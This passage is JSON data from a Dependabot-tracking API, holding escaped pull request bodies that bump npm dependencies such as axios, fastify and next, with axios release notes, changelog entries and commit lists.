href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.6.7...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/FalkorDB/falkordb-dbaas/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/FalkorDB/falkordb-dbaas/pull/677","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/FalkorDB%2Ffalkordb-dbaas/issues/677","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/677/packages"},{"uuid":"4229821794","node_id":"PR_kwDOQsw9oM7RBynC","number":4,"state":"closed","title":"Bump the npm_and_yarn group across 6 directories with 27 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-11T11:39:59.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T06:07:44.000Z","updated_at":"2026-04-11T11:40:00.000Z","time_to_close":192735,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":27,"packages":[{"name":"axios","old_version":"1.7.9","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"},{"name":"drizzle-orm","old_version":"0.38.3","new_version":"0.45.2","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"fast-jwt","old_version":"2.2.2","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fastify","old_version":"4.23.2","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"qs","old_version":"6.11.0","new_version":"6.14.2","repository_url":"https://github.com/ljharb/qs"},{"name":"ajv","old_version":"8.12.0","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"jsonpath","old_version":"1.1.1","new_version":"1.3.0","repository_url":"https://github.com/dchester/jsonpath"},{"name":"liquidjs","old_version":"10.7.1","new_version":"10.25.5","repository_url":"https://github.com/harttle/liquidjs"},{"name":"markdown-it","old_version":"13.0.1","new_version":"14.1.1","repository_url":"https://github.com/markdown-it/markdown-it"},{"name":"mjml","old_version":"4.14.1","new_version":"4.18.0","repository_url":"https://github.com/mjmlio/mjml"},{"name":"nodemailer","old_version":"6.9.7","new_version":"8.0.5","repository_url":"https://github.com/nodemailer/nodemailer"},{"name":"next","old_version":"13.5.6","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"@tiptap/extension-link","old_version":"2.7.1","new_version":"2.10.4","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"vite","old_version":"5.4.6","new_version":"6.4.2","repository_url":"https://github.com/vitejs/vite"},{"name":"bn.js","old_version":"4.12.0","new_version":"4.12.3","repository_url":"https://github.com/indutny/bn.js"},{"name":"flatted","old_version":"3.2.7","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"js-yaml","old_version":"3.14.1","new_version":"3.14.2","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"jws","old_version":"3.2.2","new_version":"3.2.3","repository_url":"https://github.com/brianloveswords/node-jws"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"minimatch","old_version":"3.1.2","new_version":"3.1.5","repository_url":"https://github.com/isaacs/minimatch"},{"name":"node-forge","old_version":"1.3.1","new_version":"1.4.0","repository_url":"https://github.com/digitalbazaar/forge"},{"name":"picomatch","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/micromatch/picomatch"},{"name":"tar","old_version":"6.1.15","new_version":"6.2.1","repository_url":"https://github.com/isaacs/node-tar"},{"name":"webpack","old_version":"5.96.1","new_version":"5.106.0","repository_url":"https://github.com/webpack/webpack"},{"name":"yaml","old_version":"1.10.2","new_version":"1.10.3","repository_url":"https://github.com/eemeli/yaml"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 25 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [axios](https://github.com/axios/axios) | `1.7.9` | `1.13.5` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.3` | `0.45.2` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.2` | `6.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [qs](https://github.com/ljharb/qs) | `6.11.0` | `6.14.2` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.12.0` | `8.18.0` |\n| [jsonpath](https://github.com/dchester/jsonpath) | `1.1.1` | `1.3.0` |\n| [liquidjs](https://github.com/harttle/liquidjs) | `10.7.1` | `10.25.5` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.1` | `14.1.1` |\n| [mjml](https://github.com/mjmlio/mjml/tree/HEAD/packages/mjml) | `4.14.1` | `4.18.0` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.9.7` | `8.0.5` |\n| [next](https://github.com/vercel/next.js) | `13.5.6` | `15.5.14` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `2.7.1` | `2.10.4` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.6` | `6.4.2` |\n| [bn.js](https://github.com/indutny/bn.js) | `4.12.0` | `4.12.3` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.7` | `3.4.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `3.14.1` | `3.14.2` |\n| [jws](https://github.com/brianloveswords/node-jws) | `3.2.2` | `3.2.3` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [minimatch](https://github.com/isaacs/minimatch) | `3.1.2` | `3.1.5` |\n| [node-forge](https://github.com/digitalbazaar/forge) | `1.3.1` | `1.4.0` |\n| [picomatch](https://github.com/micromatch/picomatch) | `2.3.1` | `2.3.2` |\n| [tar](https://github.com/isaacs/node-tar) | `6.1.15` | `6.2.1` |\n| [webpack](https://github.com/webpack/webpack) | `5.96.1` | `5.106.0` |\n| [yaml](https://github.com/eemeli/yaml) | `1.10.2` | `1.10.3` |\n\nBumps the npm_and_yarn group with 1 update in the /packages/admin-cli directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm).\nBumps the npm_and_yarn group with 3 updates in the /packages/api directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm), [fast-jwt](https://github.com/nearform/fast-jwt) and [fastify](https://github.com/fastify/fastify).\nBumps the npm_and_yarn group with 5 updates in the /packages/backend-lib directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.4` | `0.45.2` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.3` | `6.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.2` | `14.1.1` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.10.1` | `8.0.5` |\n\nBumps the npm_and_yarn group with 3 updates in the /packages/dashboard directory: [drizzle-orm](https://github.com/drizzle-team/drizzle-orm), [qs](https://github.com/ljharb/qs) and [next](https://github.com/vercel/next.js).\nBumps the npm_and_yarn group with 1 update in the /packages/emailo directory: [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite).\n\nUpdates `axios` from 1.7.9 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 